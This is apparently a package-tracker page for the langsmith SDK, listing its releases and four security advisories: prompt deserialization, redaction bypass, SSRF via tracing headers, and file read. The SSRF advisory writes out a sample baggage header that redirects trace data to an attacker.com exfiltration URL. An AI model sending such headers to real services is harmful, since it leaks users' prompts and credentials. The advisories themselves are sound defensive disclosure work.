langsmith

LangSmith Client SDK Implementations

View on Pypi

View on Github

Activity

Latest release: 4d ago
Total releases: 528
Cadence: ~daily
Last 12 months: 142

Reach

Stars: 1.1k

Details

License: MIT
First release: Jun 26, 2023

Releases

Version	Released
`0.12.4` patch	Sep 09, 2026
`0.12.3` patch	Sep 09, 2026
`0.12.2` patch	Sep 05, 2026
`0.12.1` patch	Sep 01, 2026
`0.12.0` minor	Sep 01, 2026
`0.11.2` patch	Aug 27, 2026
`0.11.1` patch	Aug 19, 2026
`0.11.0` minor	Aug 14, 2026
`0.10.18` patch	Aug 11, 2026
`0.10.17` patch	Aug 07, 2026
`0.10.16` patch	Aug 05, 2026
`0.10.15` patch	Jul 31, 2026
`0.10.14` patch	Jul 30, 2026
`0.10.13` patch	Jul 30, 2026
`0.10.12` patch	Jul 29, 2026
`0.10.11` patch	Jul 28, 2026
`0.10.10` patch	Jul 23, 2026
`0.10.9` patch	Jul 20, 2026
`0.10.8` patch	Jul 20, 2026
`0.10.7` patch	Jul 20, 2026
`0.10.6` patch	Jul 17, 2026
`0.10.5` patch	Jul 15, 2026
`0.10.4` patch	Jul 14, 2026
`0.10.3` patch	Jul 14, 2026
`0.10.2` patch	Jul 10, 2026
`0.10.1` patch	Jul 09, 2026
`0.10.0` minor	Jul 08, 2026
`0.9.8` patch	Jul 06, 2026
`0.9.7` patch	Jul 02, 2026
`0.9.6` patch	Jul 02, 2026
`0.9.5` patch	Jul 01, 2026
`0.9.4` patch	Jun 30, 2026
`0.9.3` patch	Jun 26, 2026
`0.9.2` patch	Jun 25, 2026
`0.9.1` patch	Jun 23, 2026
`0.9.0` minor	Jun 22, 2026
`0.8.18` patch	Jun 19, 2026
`0.8.17` patch 1 CVE	Jun 18, 2026
`0.8.16` patch 1 CVE	Jun 15, 2026
`0.8.15` patch 1 CVE	Jun 12, 2026
`0.8.14` patch 1 CVE	Jun 10, 2026
`0.8.12` patch 1 CVE	Jun 10, 2026
`0.8.11` patch 1 CVE	Jun 08, 2026
`0.8.10` patch 1 CVE	Jun 08, 2026
`0.8.9` patch 1 CVE	Jun 03, 2026
`0.8.8` patch 1 CVE	May 31, 2026
`0.8.7` patch 1 CVE	May 29, 2026
`0.8.6` patch 1 CVE	May 27, 2026
`0.8.5` patch 1 CVE	May 15, 2026
`0.8.4` patch 1 CVE	May 13, 2026

1–50 of 528

Repository

langchain-ai/langsmith-sdk

Forks: 293
Open issues: 117
Language: Python
: 8.2/ 10

evaluation
language-model
observability

Dependencies (32)

Depends on

0.12.4

Used by

657

Supply-chain exposure

657 tracked projects depend on this, <1% of every package we track.

A known CVE here directly exposes every one of them.

Known CVEs (4)

CVE-2026-45134 PYSEC-2026-2582 GHSA-3644-q5cj-c5c7 PYSEC-2026-2555 PYSEC-2026-2560 Jul 13, 2026

LangSmith SDK: Public prompt pull deserializes untrusted manifests without trust boundary warning

7.1 / 10
High
Network Low None Required Unchanged High Low None

Description

The LangSmith SDK's prompt pull methods (pull_prompt / pull_prompt_commit in Python, pullPrompt / pullPromptCommit in JS/TS) fetch and deserialize prompt manifests from the LangSmith Hub. These manifests may contain serialized LangChain objects and model configuration that affect runtime behavior. When pulling a public prompt by owner/name identifier, the manifest content is controlled by an external party, but prior versions of the SDK did not distinguish this from pulling a prompt within the caller's own organization.

Prompt manifests can intentionally configure a model with a custom base URL, default headers, model name, or other constructor arguments. These are supported features, but they also mean the prompt contents should be treated as executable configuration rather than plain text. A prompt can also include serialized LangChain Runnable or PromptTemplate objects with attacker-controlled constructor kwargs, or secret references that, if secrets_from_env is enabled, read environment variables at deserialization time. Applications are exposed when all of the following are true:

The application calls pull_prompt or pull_prompt_commit (Python) or pullPrompt or pullPromptCommit (JS/TS) with a public owner/name prompt identifier.

The prompt was published or modified by an untrusted or compromised account.

The application uses the pulled prompt without independently validating its contents.

Applications that only pull prompts from their own organization (referenced by name only, without an owner/ prefix) are not affected by the public prompt trust boundary issue described above. However, same-organization prompts carry their own risk. If an attacker gains write access to the organization (for example, through a leaked LANGSMITH_API_KEY or a compromised team member account), they can push a malicious prompt that is pulled and deserialized without any additional warning.

Impact

An attacker who publishes a malicious prompt to LangSmith Hub may be able to affect applications that pull that prompt by owner/name. If the prompt manifest reaches the SDK's deserialization path, the SDK will instantiate the referenced LangChain objects with the attacker-supplied constructor arguments rather than treating the manifest as inert data.

Realistic impacts include:

Server-side request forgery (SSRF), outbound request redirection, and interception of LLM traffic if a prompt manifest configures an LLM client with an attacker-controlled base_url, proxy, or equivalent endpoint-setting parameter. In typical deployments, redirected requests may include prompt contents, system prompts, retrieved context, model parameters, provider credentials, or other secrets and may disclose them to the attacker-controlled endpoint.

Prompt injection or behavior manipulation if a manifest embeds attacker-controlled system messages, prompt templates, or model parameters that alter the application's behavior.

Additional deserialization risk when include_model=True is passed, because this expands the allowlist to partner integration classes. This is not the default, but it materially increases risk when pulling prompts from outside the caller's organization.

Remediation

The LangSmith SDK now blocks pulling public prompts by owner/name by default. Callers must explicitly opt in by passing dangerously_pull_public_prompt=True (Python) or dangerouslyPullPublicPrompt: true (JS/TS) to acknowledge the trust boundary. This flag should only be set after reviewing and trusting the prompt contents, not merely the publishing account.

Upgrade to LangSmith SDK Python >= 0.8.0 or JS/TS >= 0.6.0.

Guidance for prompt pull methods

The prompt pull methods (pull_prompt / pull_prompt_commit in Python, pullPrompt / pullPromptCommit in JS/TS) should be used only with trusted prompts. Do not pull public prompts by owner/name from untrusted or unreviewed sources without understanding that the manifest contents will be deserialized and may affect runtime behavior.

When pulling prompts that include model configuration (include_model=True in Python, includeModel: true in JS/TS), the deserialization allowlist expands to include partner integration classes. Because this mode is not the default and is often unnecessary for third-party prompts, prefer the default (false) when pulling prompts from sources outside your organization.

Avoid passing secrets_from_env=True (Python) when pulling untrusted prompts. This parameter allows prompt manifests to read environment variables during deserialization. Only use it with trusted prompts from your own organization.

Same-organization prompts

Prompts pulled from the caller's own organization (referenced by name only, without an owner/ prefix) are not gated by the new dangerously_pull_public_prompt flag, but they are not inherently safe. If an attacker gains write access to the organization (for example, through a leaked LANGSMITH_API_KEY or a compromised team member account), they can push a malicious prompt that redirects LLM traffic to attacker-controlled infrastructure and may disclose any credentials attached to those requests.

The security of same-organization prompts follows a shared responsibility model. The LangSmith SDK enforces trust boundaries for public prompts pulled from external accounts, but it cannot protect against compromised credentials or accounts within the caller's own organization. Securing API keys, managing team member access, and reviewing prompt contents before production deployment are the responsibility of the organization. Organizations should treat prompts as executable configuration and apply the same review and audit practices they would apply to application code.

Credits

First reported by @Moaaz-0x.

Affected versions

0.0.0rc00.0.10.0.100.0.110.0.120.0.130.0.140.0.150.0.160.0.180.0.190.0.2

+ 462 more Show less

0.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.40.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.50.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.60.0.600.0.610.0.620.0.630.0.640.0.650.0.660.0.670.0.680.0.690.0.70.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.80.0.800.0.810.0.820.0.830.0.840.0.84rc10.0.84rc20.0.84rc30.0.84rc40.0.84rc50.0.850.0.860.0.86rc10.0.870.0.880.0.890.0.90.0.900.0.910.0.920.1.00.1.10.1.100.1.1000.1.1010.1.1020.1.1030.1.1040.1.1050.1.1060.1.1070.1.1080.1.108rc00.1.1090.1.110.1.1100.1.1110.1.1120.1.1130.1.1140.1.1150.1.115rc00.1.115rc10.1.1160.1.116rc10.1.1170.1.1180.1.1190.1.120.1.1200.1.1210.1.1220.1.1230.1.1240.1.1250.1.1260.1.1270.1.1280.1.1290.1.130.1.1300.1.1310.1.1320.1.1330.1.1340.1.1350.1.1360.1.1370.1.1380.1.138rc10.1.138rc20.1.1390.1.139rc10.1.139rc20.1.140.1.1400.1.1410.1.1420.1.1430.1.1440.1.144rc10.1.144rc20.1.144rc30.1.1450.1.1460.1.1470.1.148rc10.1.150.1.160.1.170.1.180.1.190.1.20.1.200.1.210.1.220.1.230.1.240.1.250.1.260.1.270.1.280.1.290.1.30.1.300.1.310.1.32rc10.1.32rc20.1.32rc30.1.32rc40.1.32rc50.1.32rc60.1.32rc70.1.32rc80.1.330.1.340.1.350.1.360.1.370.1.380.1.390.1.40.1.400.1.410.1.420.1.430.1.440.1.450.1.45rc10.1.460.1.46rc10.1.470.1.480.1.490.1.50.1.500.1.510.1.520.1.530.1.540.1.550.1.560.1.570.1.580.1.590.1.60.1.600.1.610.1.620.1.630.1.640.1.650.1.660.1.670.1.680.1.690.1.70.1.700.1.710.1.720.1.730.1.740.1.750.1.760.1.770.1.780.1.790.1.80.1.800.1.810.1.820.1.830.1.840.1.850.1.860.1.870.1.880.1.890.1.90.1.900.1.910.1.920.1.930.1.940.1.950.1.960.1.970.1.980.1.990.1.99rc10.2.00.2.10.2.100.2.110.2.11rc10.2.11rc100.2.11rc110.2.11rc120.2.11rc130.2.11rc140.2.11rc150.2.11rc20.2.11rc30.2.11rc40.2.11rc50.2.11rc60.2.11rc70.2.11rc80.2.11rc90.2.20.2.30.2.40.2.60.2.70.2.80.2.90.3.00.3.10.3.100.3.110.3.11rc10.3.120.3.130.3.140.3.14rc00.3.14rc10.3.150.3.160.3.170.3.180.3.18rc10.3.190.3.1rc10.3.20.3.200.3.210.3.220.3.230.3.240.3.250.3.25rc10.3.25rc20.3.260.3.270.3.27rc10.3.280.3.28rc10.3.28rc20.3.290.3.29rc00.3.30.3.300.3.310.3.320.3.330.3.340.3.350.3.360.3.370.3.37rc00.3.380.3.390.3.3rc00.3.40.3.400.3.410.3.420.3.430.3.440.3.450.3.50.3.60.3.70.3.80.3.90.4.00.4.10.4.100.4.110.4.120.4.130.4.140.4.150.4.160.4.170.4.180.4.190.4.20.4.200.4.210.4.220.4.230.4.240.4.250.4.260.4.270.4.280.4.290.4.30.4.300.4.310.4.320.4.32rc00.4.330.4.340.4.350.4.35rc10.4.360.4.370.4.380.4.390.4.39rc00.4.39rc10.4.40.4.400.4.410.4.420.4.42rc00.4.430.4.43rc00.4.440.4.450.4.460.4.470.4.480.4.490.4.50.4.500.4.510.4.520.4.530.4.540.4.54rc00.4.550.4.560.4.570.4.580.4.590.4.60.4.600.4.70.4.80.4.90.5.00.5.10.5.20.6.00.6.0rc00.6.10.6.20.6.30.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.100.7.110.7.120.7.130.7.140.7.150.7.160.7.170.7.180.7.190.7.20.7.200.7.210.7.220.7.230.7.240.7.250.7.260.7.270.7.280.7.290.7.30.7.300.7.310.7.320.7.330.7.340.7.350.7.360.7.370.7.380.7.40.7.50.7.60.7.70.7.80.7.9

Fixed in

0.8.0

References

https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-3644-q5cj-c5c7
https://nvd.nist.gov/vuln/detail/CVE-2026-45134
https://github.com/langchain-ai/langsmith-sdk
https://pypi.org/project/langsmith
https://github.com/advisories/GHSA-3644-q5cj-c5c7

Updated Jul 13, 2026 · Source: OSV.dev
CVE-2026-41182 PYSEC-2026-2583 GHSA-rr7j-v2q5-chgv Jul 13, 2026

LangSmith SDK: Streaming token events bypass output redaction

5.3 / 10
Medium
Network Low None None Unchanged Low None None

Summary

The LangSmith SDK's output redaction controls (hideOutputs in JS, hide_outputs in Python) do not apply to streaming token events. When an LLM run produces streaming output, each chunk is recorded as a new_token event containing the raw token value. These events bypass the redaction pipeline entirely — prepareRunCreateOrUpdateInputs (JS) and _hide_run_outputs (Python) only process the inputs and outputs fields on a run, never the events array. As a result, applications relying on output redaction to prevent sensitive LLM output from being stored in LangSmith will still leak the full streamed content via run events.

Details

Both JS and Python SDKs are affected. The same pattern exists in both:

JS SDK: traceable.ts:997-1003 and traceable.ts:1044-1050

Python SDK: run_helpers.py:1924 and run_helpers.py:1996

In both SDKs, new_token events with raw kwargs.token values are added during streaming, and the redaction pipeline (hideOutputs in JS, hide_outputs in Python) only processes inputs/outputs — never events.

Affected versions

0.0.0rc00.0.10.0.100.0.110.0.120.0.130.0.140.0.150.0.160.0.180.0.190.0.2

+ 454 more Show less

0.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.40.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.50.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.60.0.600.0.610.0.620.0.630.0.640.0.650.0.660.0.670.0.680.0.690.0.70.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.80.0.800.0.810.0.820.0.830.0.840.0.84rc10.0.84rc20.0.84rc30.0.84rc40.0.84rc50.0.850.0.860.0.86rc10.0.870.0.880.0.890.0.90.0.900.0.910.0.920.1.00.1.10.1.100.1.1000.1.1010.1.1020.1.1030.1.1040.1.1050.1.1060.1.1070.1.1080.1.108rc00.1.1090.1.110.1.1100.1.1110.1.1120.1.1130.1.1140.1.1150.1.115rc00.1.115rc10.1.1160.1.116rc10.1.1170.1.1180.1.1190.1.120.1.1200.1.1210.1.1220.1.1230.1.1240.1.1250.1.1260.1.1270.1.1280.1.1290.1.130.1.1300.1.1310.1.1320.1.1330.1.1340.1.1350.1.1360.1.1370.1.1380.1.138rc10.1.138rc20.1.1390.1.139rc10.1.139rc20.1.140.1.1400.1.1410.1.1420.1.1430.1.1440.1.144rc10.1.144rc20.1.144rc30.1.1450.1.1460.1.1470.1.148rc10.1.150.1.160.1.170.1.180.1.190.1.20.1.200.1.210.1.220.1.230.1.240.1.250.1.260.1.270.1.280.1.290.1.30.1.300.1.310.1.32rc10.1.32rc20.1.32rc30.1.32rc40.1.32rc50.1.32rc60.1.32rc70.1.32rc80.1.330.1.340.1.350.1.360.1.370.1.380.1.390.1.40.1.400.1.410.1.420.1.430.1.440.1.450.1.45rc10.1.460.1.46rc10.1.470.1.480.1.490.1.50.1.500.1.510.1.520.1.530.1.540.1.550.1.560.1.570.1.580.1.590.1.60.1.600.1.610.1.620.1.630.1.640.1.650.1.660.1.670.1.680.1.690.1.70.1.700.1.710.1.720.1.730.1.740.1.750.1.760.1.770.1.780.1.790.1.80.1.800.1.810.1.820.1.830.1.840.1.850.1.860.1.870.1.880.1.890.1.90.1.900.1.910.1.920.1.930.1.940.1.950.1.960.1.970.1.980.1.990.1.99rc10.2.00.2.10.2.100.2.110.2.11rc10.2.11rc100.2.11rc110.2.11rc120.2.11rc130.2.11rc140.2.11rc150.2.11rc20.2.11rc30.2.11rc40.2.11rc50.2.11rc60.2.11rc70.2.11rc80.2.11rc90.2.20.2.30.2.40.2.60.2.70.2.80.2.90.3.00.3.10.3.100.3.110.3.11rc10.3.120.3.130.3.140.3.14rc00.3.14rc10.3.150.3.160.3.170.3.180.3.18rc10.3.190.3.1rc10.3.20.3.200.3.210.3.220.3.230.3.240.3.250.3.25rc10.3.25rc20.3.260.3.270.3.27rc10.3.280.3.28rc10.3.28rc20.3.290.3.29rc00.3.30.3.300.3.310.3.320.3.330.3.340.3.350.3.360.3.370.3.37rc00.3.380.3.390.3.3rc00.3.40.3.400.3.410.3.420.3.430.3.440.3.450.3.50.3.60.3.70.3.80.3.90.4.00.4.10.4.100.4.110.4.120.4.130.4.140.4.150.4.160.4.170.4.180.4.190.4.20.4.200.4.210.4.220.4.230.4.240.4.250.4.260.4.270.4.280.4.290.4.30.4.300.4.310.4.320.4.32rc00.4.330.4.340.4.350.4.35rc10.4.360.4.370.4.380.4.390.4.39rc00.4.39rc10.4.40.4.400.4.410.4.420.4.42rc00.4.430.4.43rc00.4.440.4.450.4.460.4.470.4.480.4.490.4.50.4.500.4.510.4.520.4.530.4.540.4.54rc00.4.550.4.560.4.570.4.580.4.590.4.60.4.600.4.70.4.80.4.90.5.00.5.10.5.20.6.00.6.0rc00.6.10.6.20.6.30.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.100.7.110.7.120.7.130.7.140.7.150.7.160.7.170.7.180.7.190.7.20.7.200.7.210.7.220.7.230.7.240.7.250.7.260.7.270.7.280.7.290.7.30.7.300.7.40.7.50.7.60.7.70.7.80.7.9

Fixed in

0.7.31

References

https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-rr7j-v2q5-chgv
https://nvd.nist.gov/vuln/detail/CVE-2026-41182
https://github.com/langchain-ai/langsmith-sdk
https://pypi.org/project/langsmith
https://github.com/advisories/GHSA-rr7j-v2q5-chgv

Updated Jul 13, 2026 · Source: OSV.dev
CVE-2026-25528 PYSEC-2026-2584 GHSA-v34v-rq6j-cj6p Jul 13, 2026

LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

5.8 / 10
Medium
Network Low None None Changed Low None None

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.

Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.

Attack Vector

Attacker sends an HTTP request to a vulnerable service with a malicious baggage header:

baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]

The service parses the header via RunTree.from_headers(), storing the attacker's URL

When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil

Impact

Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers

SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

Affected Use Cases

Applications are vulnerable if they:

Use TracingMiddleware to automatically propagate tracing context

Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers

Remediation

Update to the patched versions:

Python: pip install langsmith>=0.6.3

JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.

Workarounds

If unable to upgrade immediately:

Strip or validate the baggage header before passing to from_headers()

Do not use TracingMiddleware with untrusted traffic

Affected versions

0.4.100.4.110.4.120.4.130.4.140.4.150.4.160.4.170.4.180.4.190.4.200.4.21

+ 53 more Show less

0.4.220.4.230.4.240.4.250.4.260.4.270.4.280.4.290.4.300.4.310.4.320.4.32rc00.4.330.4.340.4.350.4.35rc10.4.360.4.370.4.380.4.390.4.39rc00.4.39rc10.4.400.4.410.4.420.4.42rc00.4.430.4.43rc00.4.440.4.450.4.460.4.470.4.480.4.490.4.500.4.510.4.520.4.530.4.540.4.54rc00.4.550.4.560.4.570.4.580.4.590.4.600.5.00.5.10.5.20.6.00.6.0rc00.6.10.6.2

Fixed in

0.6.3

References

https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p
https://nvd.nist.gov/vuln/detail/CVE-2026-25528
https://github.com/langchain-ai/langsmith-sdk
https://pypi.org/project/langsmith
https://github.com/advisories/GHSA-v34v-rq6j-cj6p

Updated Jul 13, 2026 · Source: OSV.dev
CVE-2026-59152 GHSA-f4xh-w4cj-qxq8 Jun 19, 2026

LangSmith SDK TracingMiddleware: Arbitrary server-side file read

7.7 / 10
High
Network Low Low None Changed High None None

Summary

An attacker who can send an HTTP request to a server running the LangSmith SDK's TracingMiddleware can cause that server to read an arbitrary file from its local filesystem and upload the contents to LangSmith as a trace attachment. Depending on how the distributed trace system is deployed, triggering a read may not require authentication. Retrieving the contents requires read access to the LangSmith workspace the traces are sent to. The net effect is a trust-boundary crossing: a party with workspace trace-read access (for example a low-privilege workspace member, a contractor, or a compromised teammate account) gains the ability to read files from any server running TracingMiddleware, a capability outside that workspace's intended trust boundary.

Impact

Confidentiality (High): arbitrary read of files accessible to the server process, exposed to anyone with workspace trace-read access.

Details

Two defects combine. A field supplied through a tracing-propagation header was merged into the run without validation, allowing injection of run attributes including attachments (CWE-346). A type check intended to gate filesystem access did not match the type of the decoded input, so the guard never engaged (CWE-843). As a result, an attacker-named file is opened by the server and uploaded as a trace attachment by the background tracing thread (CWE-22).

Who can exploit this

Anyone reachable by HTTP can trigger the file read. Depending on how the distributed trace system is deployed, triggering may not require authentication.

Retrieving the file contents requires read access to the destination LangSmith workspace. The upload uses the server's own configured API key and workspace, which the attacker cannot redirect, so a zero-access outsider cannot retrieve the result; a workspace member, or anyone who has compromised one, can.

Remediation

Upgrade the Python SDK to >= 0.8.18.

Workarounds

Until upgrading, do not expose TracingMiddleware to untrusted HTTP traffic, and limit workspace trace-read access to trusted members.

Credits

First reported by @Ryu7zz.

Affected versions

0.0.0rc00.0.10.0.100.0.110.0.120.0.130.0.140.0.150.0.160.0.180.0.190.0.2

+ 479 more Show less

0.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.40.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.50.0.500.0.510.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.590.0.60.0.600.0.610.0.620.0.630.0.640.0.650.0.660.0.670.0.680.0.690.0.70.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.770.0.780.0.790.0.80.0.800.0.810.0.820.0.830.0.840.0.84rc10.0.84rc20.0.84rc30.0.84rc40.0.84rc50.0.850.0.860.0.86rc10.0.870.0.880.0.890.0.90.0.900.0.910.0.920.1.00.1.10.1.100.1.1000.1.1010.1.1020.1.1030.1.1040.1.1050.1.1060.1.1070.1.1080.1.108rc00.1.1090.1.110.1.1100.1.1110.1.1120.1.1130.1.1140.1.1150.1.115rc00.1.115rc10.1.1160.1.116rc10.1.1170.1.1180.1.1190.1.120.1.1200.1.1210.1.1220.1.1230.1.1240.1.1250.1.1260.1.1270.1.1280.1.1290.1.130.1.1300.1.1310.1.1320.1.1330.1.1340.1.1350.1.1360.1.1370.1.1380.1.138rc10.1.138rc20.1.1390.1.139rc10.1.139rc20.1.140.1.1400.1.1410.1.1420.1.1430.1.1440.1.144rc10.1.144rc20.1.144rc30.1.1450.1.1460.1.1470.1.148rc10.1.150.1.160.1.170.1.180.1.190.1.20.1.200.1.210.1.220.1.230.1.240.1.250.1.260.1.270.1.280.1.290.1.30.1.300.1.310.1.32rc10.1.32rc20.1.32rc30.1.32rc40.1.32rc50.1.32rc60.1.32rc70.1.32rc80.1.330.1.340.1.350.1.360.1.370.1.380.1.390.1.40.1.400.1.410.1.420.1.430.1.440.1.450.1.45rc10.1.460.1.46rc10.1.470.1.480.1.490.1.50.1.500.1.510.1.520.1.530.1.540.1.550.1.560.1.570.1.580.1.590.1.60.1.600.1.610.1.620.1.630.1.640.1.650.1.660.1.670.1.680.1.690.1.70.1.700.1.710.1.720.1.730.1.740.1.750.1.760.1.770.1.780.1.790.1.80.1.800.1.810.1.820.1.830.1.840.1.850.1.860.1.870.1.880.1.890.1.90.1.900.1.910.1.920.1.930.1.940.1.950.1.960.1.970.1.980.1.990.1.99rc10.2.00.2.10.2.100.2.110.2.11rc10.2.11rc100.2.11rc110.2.11rc120.2.11rc130.2.11rc140.2.11rc150.2.11rc20.2.11rc30.2.11rc40.2.11rc50.2.11rc60.2.11rc70.2.11rc80.2.11rc90.2.20.2.30.2.40.2.60.2.70.2.80.2.90.3.00.3.10.3.100.3.110.3.11rc10.3.120.3.130.3.140.3.14rc00.3.14rc10.3.150.3.160.3.170.3.180.3.18rc10.3.190.3.1rc10.3.20.3.200.3.210.3.220.3.230.3.240.3.250.3.25rc10.3.25rc20.3.260.3.270.3.27rc10.3.280.3.28rc10.3.28rc20.3.290.3.29rc00.3.30.3.300.3.310.3.320.3.330.3.340.3.350.3.360.3.370.3.37rc00.3.380.3.390.3.3rc00.3.40.3.400.3.410.3.420.3.430.3.440.3.450.3.50.3.60.3.70.3.80.3.90.4.00.4.10.4.100.4.110.4.120.4.130.4.140.4.150.4.160.4.170.4.180.4.190.4.20.4.200.4.210.4.220.4.230.4.240.4.250.4.260.4.270.4.280.4.290.4.30.4.300.4.310.4.320.4.32rc00.4.330.4.340.4.350.4.35rc10.4.360.4.370.4.380.4.390.4.39rc00.4.39rc10.4.40.4.400.4.410.4.420.4.42rc00.4.430.4.43rc00.4.440.4.450.4.460.4.470.4.480.4.490.4.50.4.500.4.510.4.520.4.530.4.540.4.54rc00.4.550.4.560.4.570.4.580.4.590.4.60.4.600.4.70.4.80.4.90.5.00.5.10.5.20.6.00.6.0rc00.6.10.6.20.6.30.6.40.6.50.6.60.6.70.6.80.6.90.7.00.7.10.7.100.7.110.7.120.7.130.7.140.7.150.7.160.7.170.7.180.7.190.7.20.7.200.7.210.7.220.7.230.7.240.7.250.7.260.7.270.7.280.7.290.7.30.7.300.7.310.7.320.7.330.7.340.7.350.7.360.7.370.7.380.7.40.7.50.7.60.7.70.7.80.7.90.8.00.8.10.8.100.8.110.8.120.8.140.8.150.8.160.8.170.8.20.8.30.8.40.8.50.8.60.8.70.8.80.8.9

Fixed in

0.8.18

References

https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-f4xh-w4cj-qxq8
https://github.com/langchain-ai/langsmith-sdk

Updated Sep 10, 2026 · Source: OSV.dev

Insights

Releases per month

last 12 months

Release mix

minor 12
patch 449
pre 66

528 releases

Dependencies over time

per release

Release calendar

2026

Jan

Feb

Mar

Apr

May

Jun

Jul

Aug

Sep

Oct

Nov

Dec

Less More